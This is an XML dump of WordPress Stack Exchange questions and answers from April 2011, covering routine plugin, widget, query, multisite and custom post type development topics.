  <row Id="14807" PostTypeId="1" CreationDate="2011-04-15T08:04:06.773" Score="1" ViewCount="100" Body="&lt;p&gt;I'm running into an issue for a client whereby I keep getting the same error over and over again whilst trying to import an exported file (into an IIS environment):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sorry, there has been an error. The uploaded file could not be moved to D:\www\www514\obtecfoundcom/wp-content/uploads/2011/04.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anybody know what might be going on here (besides the weird slashes)? Thank you! Noel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Technical Info&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wl17www502.webland.ch/php5/info.php&quot; rel=&quot;nofollow&quot;&gt;http://wl17www502.webland.ch/php5/info.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attempts so far&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googled the hell out of the error, nothing with a real solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Permissions changed to 777 all the way up to /wp-content/ (recursive)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Manually adding the file to ../2011/04&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-08-14T20:23:56.830" Title="Using the Importer on an IIS Server" Tags="&lt;import&gt;&lt;iis&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14808" PostTypeId="1" AcceptedAnswerId="14825" CreationDate="2011-04-15T08:25:48.527" Score="0" ViewCount="92" Body="&lt;p&gt;It appears that I can only use an ID for the param &lt;code&gt;post_parent&lt;/code&gt; whether in &lt;code&gt;WP_Query&lt;/code&gt; or &lt;code&gt;get_children&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to query for children via postnames which are more readable. &lt;/p&gt;&#xA;" OwnerUserId="3788" LastActivityDate="2011-04-15T13:34:16.210" Title="How to query children by post name/slug" Tags="&lt;plugin-development&gt;&lt;wp-query&gt;" AnswerCount="1" />
  <row Id="14809" PostTypeId="1" CreationDate="2011-04-15T09:23:11.677" Score="0" ViewCount="193" Body="&lt;p&gt;I'm just getting to grips with Wordpress for the first time and am looking for a little bit of help. I've set up a custom widget (using the TS custom widgets plugin) which contains a list of special offers on my site. Currently, the widget displays the title of each special offer as a link, but I also want to pull through featured images for each offer, so that I can make graphic thumbnail links in the widget. Can anyone advise how I would go about doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: this is what I have currently:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;functions.php - registration of widget&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('register_sidebar')) {&#xA;    // Custom, located in the lower section of main content. Empty by default.&#xA;    register_sidebar( array(&#xA;        'name' =&amp;gt; __( 'Lower Content Widget Area', 'twentyten' ),&#xA;        'id' =&amp;gt; 'lower-content-widget-area',&#xA;        'description' =&amp;gt; __( 'The lower content widget area', 'twentyten' ),&#xA;        'before_widget' =&amp;gt; '&amp;lt;div id=&quot;%1$s&quot; class=&quot;widget-container %2$s&quot;&amp;gt;',&#xA;        'after_widget' =&amp;gt; '&amp;lt;/div&amp;gt;',&#xA;        'before_title' =&amp;gt; '&amp;lt;h2 class=&quot;widget-title&quot; id=&quot;Offers&quot;&amp;gt;',&#xA;        'after_title' =&amp;gt; '&amp;lt;/h2&amp;gt;',&#xA;    ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the admin panel, I set up the widget using the custom post type Offers, and custom widgets plugin to create the widget. The widget options are as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lower content widget area&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom Post Type List Widget: Offers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include Post-Type description: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shorten Long Titles: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title: Offers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post Type: offers&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Count: 4 posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sort Order: Menu order&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Format: Unordered list&lt;/p&gt;&#xA;" OwnerUserId="4688" LastEditorUserId="4688" LastEditorDisplayName="" LastEditDate="2011-04-18T10:14:50.217" LastActivityDate="2011-04-18T10:14:50.217" Title="Adding extra dynamic content to custom widget" Tags="&lt;custom-post-types&gt;&lt;widgets&gt;" CommentCount="3" />
  <row Id="14810" PostTypeId="1" AcceptedAnswerId="14832" CreationDate="2011-04-15T09:41:06.617" Score="1" ViewCount="74" Body="&lt;p&gt;I am the admin for a blog with around 20 authors contributing articles.&#xA;Have just migrated from Wordpress.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem that started to happen at WP.com, was different authors would use tags differently.&#xA;i.e Some would pick just basic tags, others would list out every key word possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would appear that for WP roles, all the ones that allow people to submit posts, they can also tag their posts with as many tags as they want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is - &lt;strong&gt;What is best practice for Tag Management for a blog that has multiple authors?&lt;/strong&gt;&lt;br&gt;&#xA;- I guess the answer to this could be subjective.  But I really need experienced advice on this, and Wordpress-Answers is where I am going to find this.&lt;br&gt;&#xA;- Happy to convert to Community Wiki?&lt;/p&gt;&#xA;" OwnerUserId="4280" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-04-15T15:54:02.813" LastActivityDate="2011-04-15T15:54:02.813" Title="Efficient Tag Management?" Tags="&lt;tags&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="14812" PostTypeId="2" ParentId="14770" CreationDate="2011-04-15T10:02:01.893" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried to flush your permalinks? &#xA;Visiting &lt;code&gt;Admin &amp;gt; Settings &amp;gt; Permalinks&lt;/code&gt; should do it.&lt;/p&gt;&#xA;" OwnerUserId="3653" LastActivityDate="2011-04-15T10:02:01.893" />
  <row Id="14813" PostTypeId="2" ParentId="14805" CreationDate="2011-04-15T10:22:31.987" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;get_the_terms()&lt;/code&gt; returns a list of term objects. So first of all, you need to treat the output as a list rather than a single element. The name you're looking for is stored in the &lt;code&gt;name&lt;/code&gt; field.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$artistnames = get_the_terms($post-&amp;gt;ID, 'artist');&#xA;if (!empty($artistnames)) : ?&amp;gt;&#xA;    foreach ($artistnames as $obj) {&#xA;         $name = $obj-&amp;gt;name;&#xA;         // Do something with the name&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Maybe you should use a custom field instead of a taxonomy? My experience is that they work better for singletons. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You get the custom fields in the loop by &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;get_post_meta()&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $meta_values = get_post_meta($post-&amp;gt;ID, 'artist', true); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&#xA;Hopefully this helps you somewhat!&lt;/p&gt;&#xA;" OwnerUserId="3653" LastActivityDate="2011-04-15T10:22:31.987" CommentCount="1" />
  <row Id="14814" PostTypeId="1" CreationDate="2011-04-15T10:54:51.873" Score="2" ViewCount="124" Body="&lt;p&gt;I am looking to create two custom post types, one of which is a child of the other.  Let's call them Authors and Books for simplicity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Authors should be a top level URL and the landing page for them should show a list of all their authored books.  So you'd have something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/Shakespeare/&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/Shakespeare/&lt;/a&gt;&#xA;http://mysite.com/Shakespeare/Macbeth&#xA;&lt;a href=&quot;http://mysite.com/Shakespeare/Othello&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/Shakespeare/Othello&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create something like this in Wordpress?  I am fine if it requires custom coding, just not sure how to express the relationship of post types to Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="4690" LastActivityDate="2011-04-15T12:33:53.747" Title="Post type hierarchy" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;hierarchical&gt;" AnswerCount="2" />
  <row Id="14816" PostTypeId="2" ParentId="14770" CreationDate="2011-04-15T11:31:23.807" Score="1" ViewCount="" Body="&lt;p&gt;Well I solved it - in a rather unsatisfactory way - by explicitly re-defining the  default posts rule in my own code. i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rewrite_keywords_structure = $wp_rewrite-&amp;gt;root.&quot;/%year%/%monthnum%/%postname%/&quot;;&#xA;..etc..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't really understand why this is necessary, but there you go.&lt;/p&gt;&#xA;" OwnerUserId="4689" LastActivityDate="2011-04-15T11:31:23.807" />
  <row Id="14817" PostTypeId="1" AcceptedAnswerId="14850" CreationDate="2011-04-15T11:34:54.467" Score="0" ViewCount="154" Body="&lt;p&gt;Is it possible to remove a default attachment field from the attachment editor, for example the &quot;Caption&quot; field ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To give you some context, I'm trying to build a custom attachment editor page. I found how to &lt;a href=&quot;http://net.tutsplus.com/tutorials/wordpress/creating-custom-fields-for-attachments-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;add custom fields&lt;/a&gt;, now I'd like to remove some of the default ones I don't need.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-15T18:38:01.227" Title="How can I remove fields in the attachment editor?" Tags="&lt;custom-field&gt;&lt;attachments&gt;&lt;editor&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="14818" PostTypeId="2" ParentId="12137" CreationDate="2011-04-15T11:44:50.143" Score="1" ViewCount="" Body="&lt;p&gt;You would need a plugin to do this. It would need to parse the video and save the meta information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd recommend taking a look at this library for starters: &lt;a href=&quot;http://code.google.com/p/flv4php/&quot; rel=&quot;nofollow&quot;&gt;http://code.google.com/p/flv4php/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for implementing this as a WordPress plugin, you would need to write a function and hook it to the wp_generate_attachment_metadata filter. The code will basically look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_attachment_metadata($meta, $attachment_id) {&#xA;  $attachment = get_post( $attachment_id );&#xA;  $mime = get_post_mime_type( $attachment );&#xA;  $file = get_attached_file( $attachment_id );&#xA;  // use the $mime value to determine if you need to scan the file (video/x-flv)&#xA;  // use the $file for scanning for any meta data&#xA;  // store the meta data in $meta['whatever'] for each piece of info&#xA;  return $meta;&#xA;}&#xA;add_filter('wp_generate_attachment_metadata','my_attachment_metadata',10,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any meta data you add to $meta and return there will be stored along with the attachment post. You can then later retrieve it, without having to reparse the file or anything, with wp_get_attachment_metadata( $attachment_id ).&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T11:44:50.143" />
  <row Id="14819" PostTypeId="2" ParentId="14727" CreationDate="2011-04-15T11:47:06.770" Score="2" ViewCount="" Body="&lt;p&gt;Just use the plugin. Simpler than screwing around with it, and provides more control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/revision-control/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/revision-control/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T11:47:06.770" CommentCount="3" />
  <row Id="14820" PostTypeId="2" ParentId="14814" CreationDate="2011-04-15T11:48:25.983" Score="1" ViewCount="" Body="&lt;p&gt;To me the most logical would be to have a &quot;Book&quot; custom post type, and then all the attributes of the books (Author, Collection, Genre, etc.) would be custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for your URLs you could use some custom URL rewrite method to get what you want.&lt;/p&gt;&#xA;" OwnerUserId="1381" LastActivityDate="2011-04-15T11:48:25.983" />
  <row Id="14821" PostTypeId="2" ParentId="12190" CreationDate="2011-04-15T11:48:56.707" Score="0" ViewCount="" Body="&lt;p&gt;The STC-Publish part of &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-twitter-connect/&quot; rel=&quot;nofollow&quot;&gt;Simple Twitter Connect&lt;/a&gt; will publish your links correctly. However, STC is a bit more involved of a plugin system, so it does require a bit more setup and configuration.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-04-15T11:48:56.707" />
  <row Id="14822" PostTypeId="1" AcceptedAnswerId="14824" CreationDate="2011-04-15T12:22:26.313" Score="1" ViewCount="215" Body="&lt;p&gt;I have to create a hundred of content pages that share the same structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[Title] - [Subtitle]&#xA;&#xA;[Description]&#xA;&#xA;[Specs]&#xA;&#xA; - [Spec-A]&#xA; - [Spec-B]&#xA; - [Spec-C]&#xA;&#xA;[Features]&#xA;&#xA; - [Image-A][Feature-A]&#xA; - [Image-A][Feature-B]&#xA; - [Image-A][Feature-C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to store this information in some DB tables so that if I need to change the template content positions or style, I can do it once for all pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unfortunately I am not very good at PHP, so I don't know where to start. Which features of Wordpress or plugins can I use to reach the result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="36" LastActivityDate="2011-04-20T18:15:15.740" Title="How to create a page template that retrieves content from db?" Tags="&lt;page-template&gt;&lt;content&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="14823" PostTypeId="2" ParentId="14814" CreationDate="2011-04-15T12:33:53.747" Score="1" ViewCount="" Body="&lt;p&gt;If it's a one-to-many relationship (an author can have multiple books, but a book can't have multiple authors), you can use the post_parent field in the posts table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a many-to-many relationship, you can use my &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate those urls, you can use the 'post_type_link' filter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, to match those URLs later, you can fall back to the page rewrite rule and manually parse the components (use the 'parse_request' action).&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-04-15T12:33:53.747" />
  <row Id="14824" PostTypeId="2" ParentId="14822" CreationDate="2011-04-15T13:22:04.610" Score="7" ViewCount="" Body="&lt;p&gt;You might want to consider creating a &lt;strong&gt;Custom Post Type&lt;/strong&gt; for this product (I assume it's some sort of product), and then adding custom metaboxes, that will store the custom data (specs, features, etc.) as metadata for each Post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, your custom template file becomes &quot;single-.php&quot; (e.g. &quot;single-product.php&quot;), and you can structure the markup however you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing the custom data (specs, features, etc.) as post metadata allows you to retrieve these data using &lt;code&gt;get_post_meta()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_meta&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) or &lt;code&gt;get_post_custom()&lt;/code&gt; (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_post_custom&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-15T13:22:04.610" CommentCount="2" />
  <row Id="14825" PostTypeId="2" ParentId="14808" CreationDate="2011-04-15T13:34:16.210" Score="2" ViewCount="" Body="&lt;p&gt;Try using the &lt;code&gt;get_page_by_path()&lt;/code&gt; function (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page_by_path&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mypage = get_page_by_path( 'page-slug' );&#xA;&#xA;$mypageid = ( $mypage ? $mypage-&amp;gt;ID : '0' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, the &lt;code&gt;post_parent&lt;/code&gt; argument becomes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'post_parent' =&amp;gt; $mypageid&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-15T13:34:16.210" />
  <row Id="14826" PostTypeId="2" ParentId="14805" CreationDate="2011-04-15T14:41:40.233" Score="0" ViewCount="" Body="&lt;p&gt;When using &lt;code&gt;'tax_query'&lt;/code&gt; with &lt;code&gt;'field'=&amp;gt;'id'&lt;/code&gt; then terms should be an array of term ids, so instead of using get_the_terms() use wp_get_object_terms() and set the fields to ids that way you will get an array with term ids so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array('orderby' =&amp;gt; 'name', 'order' =&amp;gt; 'ASC', 'fields' =&amp;gt; 'ids');&#xA;$artistnames = wp_get_object_terms($post-&amp;gt;ID, 'artist',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you should be set using your code.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-04-15T14:41:40.233" />
  <row Id="14827" PostTypeId="1" AcceptedAnswerId="14829" CreationDate="2011-04-15T14:46:30.433" Score="1" ViewCount="296" Body="&lt;p&gt;I am creating a plugin that resides at &lt;a href=&quot;http://localhost/test/wp-admin/options-general.php?page=my-plugin&quot; rel=&quot;nofollow&quot;&gt;http://localhost/test/wp-admin/options-general.php?page=my-plugin&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to add a query string to this page so that it can be used in my plugin such as &lt;a href=&quot;http://localhost/test/wp-admin/options-general.php?page=my-plugin?myVar=cool&quot; rel=&quot;nofollow&quot;&gt;http://localhost/test/wp-admin/options-general.php?page=my-plugin?myVar=cool&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that this prompts wordpress to display the &quot;You do not have sufficient permissions to access this page.&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a query string to my plugin URL? Is this documented someplace?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help.&lt;/p&gt;&#xA;" OwnerUserId="4647" LastActivityDate="2011-04-15T16:49:31.483" Title="Add query string to plugin URL" Tags="&lt;plugins&gt;&lt;urls&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="14829" PostTypeId="2" ParentId="14827" CreationDate="2011-04-15T14:57:12.570" Score="4" ViewCount="" Body="&lt;p&gt;When you don't know if query string was started or not you can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_query_arg&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;add_query_arg&lt;/strong&gt;&lt;/a&gt;&#xA;which it knows how to deal with that and adds the &quot;&lt;code&gt;?&lt;/code&gt;&quot; or &quot;&lt;code&gt;&amp;amp;&lt;/code&gt;&quot; marks (which ever one is needed) to the query string.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By popular demand I'm adding a few examples that are from the codex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Using get_permalink:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since get_permalink() returns a full&#xA;  URL, you could use that when you want&#xA;  to add variables to a post's page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  This would output whatever the URL to post ID 9 is, with 'hello=there' appended with either ? or &amp;amp;, depending on what's needed&#xA;echo add_query_arg( 'hello', 'there', get_permalink(9) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;more general:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assuming we're at the WordPress URL&#xA;  &lt;code&gt;&quot;http://blog.example.com/client/?s=word&quot;...&#xA;  &lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//  This would output '/client/?s=word&amp;amp;foo=bar'&#xA;echo add_query_arg( 'foo', 'bar' );&#xA;&#xA;//  This would output '/client/?s=word&amp;amp;foo=bar&amp;amp;baz=tiny'&#xA;$arr_params = array ( 'foo' =&amp;gt; 'bar', 'baz' =&amp;gt; 'tiny' );&#xA;echo add_query_arg( $arr_params );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or for use with any link you have you can pass the link uri:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//say your link is: http://wordpress.stackexchange.com/questions/14827/&#xA;//then use:&#xA;&#xA;echo add_query_arg( 'hello', 'world','http://wordpress.stackexchange.com/questions/14827/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get &lt;code&gt;http://wordpress.stackexchange.com/questions/14827/?hello=world&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example plugin page URL with extra query args:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query_args = array( 'page' =&amp;gt; 'your-plugin-page', 'foo' =&amp;gt; 'bar' );&#xA;echo add_query_arg( $query_args, admin_url( '/options-general.php' ) )&#xA;&#xA;// outputs&#xA;// http://example.com/wp-admin/options-general.php?page=your-plugin-page&amp;amp;foo=bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-04-15T16:49:31.483" LastActivityDate="2011-04-15T16:49:31.483" CommentCount="3" />
  <row Id="14830" PostTypeId="1" CreationDate="2011-04-15T15:13:32.067" Score="0" ViewCount="237" Body="&lt;p&gt;Server: IIS 6&lt;br&gt;&#xA;WordPress version 3.1.1&lt;br&gt;&#xA;Multisite using SubFolders&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to upload images to the server, but thumbnails and full size images do not display. If I try to edit the image, the preview displays. The file exists in blogs.dir. I'm using ISAPI Rewrite to create a httpd.conf file, which contains the block of code listed under Subfolder Example on the Create a Network page in the Codex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress says the file is here: &lt;a href=&quot;http://blogs.nvcc.edu/test/files/2011/04/facebook6.jpg&quot; rel=&quot;nofollow&quot;&gt;http://blogs.nvcc.edu/test/files/2011/04/facebook6.jpg&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actual location is here: &lt;a href=&quot;http://blogs.nvcc.edu/wp-content/blogs.dir/32/files/2011/04/facebook6.jpg&quot; rel=&quot;nofollow&quot;&gt;http://blogs.nvcc.edu/wp-content/blogs.dir/32/files/2011/04/facebook6.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So many clues... I just can't put it together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;--Damon&lt;/p&gt;&#xA;" OwnerUserId="4693" LastActivityDate="2011-04-15T18:08:47.410" Title="Why are images not displaying?" Tags="&lt;multisite&gt;&lt;images&gt;&lt;3.1&gt;&lt;iis&gt;" AnswerCount="2" />
  <row Id="14831" PostTypeId="2" ParentId="14817" CreationDate="2011-04-15T15:26:13.723" Score="1" ViewCount="" Body="&lt;p&gt;Use css for hide fields or the solution from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5645/trying-to-hide-buttons-from-attachment-window&quot;&gt;this thread&lt;/a&gt; or you use the plugin Adminimze and add your own options via ID of the elements.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-04-15T15:26:13.723" />
  <row Id="14832" PostTypeId="2" ParentId="14810" CreationDate="2011-04-15T15:28:50.690" Score="2" ViewCount="" Body="&lt;p&gt;I manage a blog with 3 editors and 8-10 contributors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience, the best way to manage tags is to simply instruct contributors not to add tags to their own articles, and instead have the editors be responsible for tagging articles. You can then work with editors to agree on what the purpose of tags are on for your site and make sure they enforce those policies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the &lt;a href=&quot;https://wordpress.org/extend/plugins/simple-tags/&quot; rel=&quot;nofollow&quot;&gt;Simple Tags&lt;/a&gt; plugin for adding tags to articles which replaces the default tag entry system. When you type in a tag, it automatically searches existing tags and displays them in an AJAX-y dropdown display, which is very helpful to avoid dupes and to see what similar tags exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hadn't always managed tags so diligently, so I used the &lt;a href=&quot;https://wordpress.org/extend/plugins/term-management-tools/&quot; rel=&quot;nofollow&quot;&gt;Terms Management Tool&lt;/a&gt; plugin to merge similar/duplicate tags together. We had a lot of things like &quot;Firefox&quot; and &quot;Mozilla Firefox&quot;, so I combined those into a single tag, and Simple Tags helps avoid problems like that in the future.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-04-15T15:28:50.690" />
  <row Id="14833" PostTypeId="2" ParentId="9102" CreationDate="2011-04-15T15:29:03.847" Score="0" ViewCount="" Body="&lt;p&gt;Sorry to revive an old question but isn't it better to set via the headers like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$subject  = &quot;MyPlugin: Alert (&quot;.get_bloginfo('wpurl').&quot;)&quot;;&#xA;$headers  = &quot;MIME-Version: 1.0&quot; . &quot;\r\n&quot;;&#xA;$headers .= &quot;Content-type: text/html; charset=&quot;.get_bloginfo('charset').&quot;&quot; . &quot;\r\n&quot;;&#xA;$headers .= &quot;From: MyPlugin &amp;lt;&quot;.$this-&amp;gt;settings['from_address'].&quot;&amp;gt;&quot; . &quot;\r\n&quot;;&#xA;wp_mail($this-&amp;gt;settings['notify_address'], $subject, $alertMessage, $headers);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you dont have to worry about using a filter and then removing at after wp_mail().&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-15T15:29:03.847" CommentCount="4" />
  <row Id="14834" PostTypeId="1" AcceptedAnswerId="14835" CreationDate="2011-04-15T15:33:42.873" Score="1" ViewCount="85" Body="&lt;p&gt;I am new to wordpress, and trying to get my head around the idea of sessions and all. I read in a lot of places that session concept is not used in wordpress. Anyway, I downloaded the my-login-theme plugin. My question is, when a user navigates to some secured area, I want to check if that user is logged in or not. Once I check that, I want to get user details like email, and full name. Is this possible in wordpress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4695" LastActivityDate="2011-04-15T15:39:04.140" Title="determining if the user is logged in" Tags="&lt;3.0&gt;" AnswerCount="2" />
  <row Id="14835" PostTypeId="2" ParentId="14834" CreationDate="2011-04-15T15:35:41.240" Score="2" ViewCount="" Body="&lt;p&gt;Use the &lt;code&gt;is_user_logged_in()&lt;/code&gt; conditional tag (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_user_logged_in&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) to determine if the current user is logged in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;code&gt;get_userdata()&lt;/code&gt; function (&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_userdata&quot; rel=&quot;nofollow&quot;&gt;Codex ref&lt;/a&gt;) to return user data.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2011-04-15T15:35:41.240" />
  <row Id="14836" PostTypeId="2" ParentId="14834" CreationDate="2011-04-15T15:39:04.140" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;is_user_logged_in()&lt;/code&gt; to see if the user is logged in. You can use &lt;code&gt;get_userdata()&lt;/code&gt; to get the logged in users info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to restrict access to pages, have you looked at using the plugin &lt;code&gt;Members&lt;/code&gt; You can enable shortcodes and template tags to control restricted content to Roles.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-04-15T15:39:04.140" CommentCount="3" />
